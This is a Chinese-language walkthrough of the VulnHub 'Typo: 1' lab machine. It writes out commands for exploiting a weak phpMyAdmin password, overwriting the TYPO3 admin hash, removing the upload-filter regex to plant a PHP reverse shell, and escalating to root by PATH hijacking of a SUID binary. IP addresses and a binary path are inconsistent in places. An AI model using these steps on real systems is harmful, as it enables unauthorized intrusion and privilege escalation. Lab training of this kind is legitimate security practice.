靶机下载地址: https://www.vulnhub.com/entry/typo-1,472/
教程链接地址: https://www.infosecarticles.com/typo-1-vulnhub-walkthrough/

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 TYPO:桥接于 192.168.31.1 的网卡,ip 未知

1 )确定靶机 ip 地址
sudo arp-sacn -l

Image

-> 靶机 ip:192.168.31.153

2 )确认靶机 ip 开放的端口信息
sudo nmap -p 192.168.0.153

Image

-> 靶机开放端口 22,80,8000,8080,8081

# 网站信息收集

依次打开 80,8000,8080,8081 的网站进行访问,收集相关信息

打开 http://192.168.0.153 进行信息收集,发现网站是一个 typo3 的地址

Image

打开 http://192.168.0.153:8000 搜集信息

Image

打开 http://192.168.0.153:8080 搜集信息

Image

打开 http://192.168.0.153:8081 搜集信息

Image

收集目录: dirsearch -u 192.168.0.153:8000

Image

依次打开收集到的目录看能否找到更多信息

http://192.168.31.176:8080/phpinfo.php

Image

收集目录: dirsearch -u 192.168.0.153:8081

Image

# phpmyadmin 渗透测试

发现敏感地址,phpmyadmin 存在弱口令

http://192.168.31.176:8081/phpmyadmin/

Image

用弱口令 root:root 登陆成功拿到后台的权限

Image

对 phpmyadmin 进行写 shell 拿网站权限

1
2
3
# 显示目录
show variables like '%datadir%';
select @@basedir;
Image
1
2
3
#是否可以写入
show global variables like '%secure_file_priv%';
# 结果为/var/lib/mysql-files,只允许导出到此目录
Image
1
2
3
# 查看是否开启日志记录以及日志保存目录
SHOW VARIABLES LIKE '%general_log%'
# 结果为OFF
Image
1
2
# 开启写入日志的开关:
SET GLOBAL general_log = "ON"
Image

查看设置是否正确,是否开启成功,检测到已经开启了日志写入,并且写入的地址在下面的文件中

Image
1
2
# 修改默认的日志写入地址
SET GLOBAL general_log_file=“1.php”
Image

-> phpmyadmin 拿 shell 失败,得采用其他的方式

# 覆盖 admin 密码

查看 sql 之后看到密码采用 argon 算法

Image

既然数据的密码采用的是 argon 的算法加密的,那么现在的思路就是通过 argon 算法生成一个加密后的密码并且替代原来的密码
在网站 https://pypi.org/project/argon2-cffi/ 上看到了 argron2 的生成教程
通过 python 依次输入以下的命令可以将自定义的密码以 argon 加密

Image

用 pip 来安装 argon: python3 -m pip install argon2-cffi

Image
1
2
3
4
5
# 打开python的命令行,依次输入以下命令
from argon2 import PasswordHasher
ph = PasswordHasher()
hash = ph.hash("typo")
print(hash)
Image

打印出来的即为密码为 typo 的 argon 算法之后的加密字符:
$argon2id$v=19$m=65536,t=3,p=4$BLSCVncgUy7tfYFMab+XMQ$LDy6bITURoFWRdb4JNHQ53e+t2TF9oiWeBdzLxHVoUM

打开数据库中修改用户名密码的位置,将上述产生的 typo 加密后的字符替换原先的密码,点击确定即修改成功

Image

-> 现在就有了一个用户名密码分别为 admin:typo 的组合

但是这个账户应该在哪个位置登陆还不确定,看起来像是一个网站后台的登陆地址;继续之前 80 端口的网站目录扫描,发现了一个 /typo3 的后台地址

Image

(这里换了地方测试,重启了机器,重新分配了 ip 地址,靶机的 ip 地址发生了变化,正常的操作 ip 地址是不会发生变化的)
用 admin:typo 进入此后台

Image

-> 拿到了后台地址

# 修改过滤规则上传木马

进入后台之后看到是一个普通的后台管理地址

Image

在 fileList 中找到了可以上传的位置,并且注明了上传文件的位置在 fileadmin 目录下,尝试从这个位置上传一个 php 后门

Image

准备好 php 一句话木马,这里的 php 木马来源于 kali 机器上默认的木马,由于提前将此后门放在了公网 ip 上,就在自己的公网 ip 上直接拉下来即可,修改其主机和端口号为 kali 机器的地址

Image

点击上传文件,从本地选择 php 文件后,发现服务器拒绝了,说明有判断需要尝试绕过,可以用 00 截断的方式,这个地方尝试去寻找过滤文件的方式是否在后台能修改,进行绕过

Image

在设置里边查找,看到了 Configure Installation-Wide Options 中有关于文件上传的格式限制,其正则表示如下:
\.(php[3-8]?|phpsh|phtml|pht|phar|shtml|cgi)(\..*)?$|\.pl$|^\.htaccess$

Image

将原有的过滤规则全部清除

Image

确定之后,接下来文件上传将不会受到任何限制

Image

再次尝试上传 shell.php 就上传成功了

Image

监听木马文件中的端口,同时去执行上传成功的木马,成功拿到网站权限

Image Image

# 服务器信息收集

1
2
3
4
# 用一些命令将终端变为一个标准的shell
SHELL=/bin/bash script -q /dev/null
stty raw -echo;fg
export TERM=xterm
Image
1
2
3
# 收集信息
cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep www

判断出来没有其他的用户,需要直接拿到 root 的 shell

Image
1
2
# 查看定时任务
cat /etc/crontab
Image

发现没有任何任务被加载

1
2
# 查看是否有设置错误的s权限的文件
find / -user root -perm -4000 -print 2>/dev/null
Image

-> 找到一个 apache2-restart

# 文件权限设置错误提权

很显然这是一个自己封装的命令,需要进行读取或者反编译这个命令里边封装了哪些命令,通过 strings 将命令读取

Image

是一个 service 的命令,意味着我们去执行 apache 2-restart 命令的时候,会去环境变量里边去找 service,而且去执行这个 service 的时候是以 root 权限执行的,

1
2
3
4
5
# 通过修改环境变量提权
echo "/bin/bash" > /tmp/service
chmod +x /tmp/service
export PATH=/tmp/:$PATH
/usr/bin/local/apache2-restart
Image

-> 成功拿到 root 权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝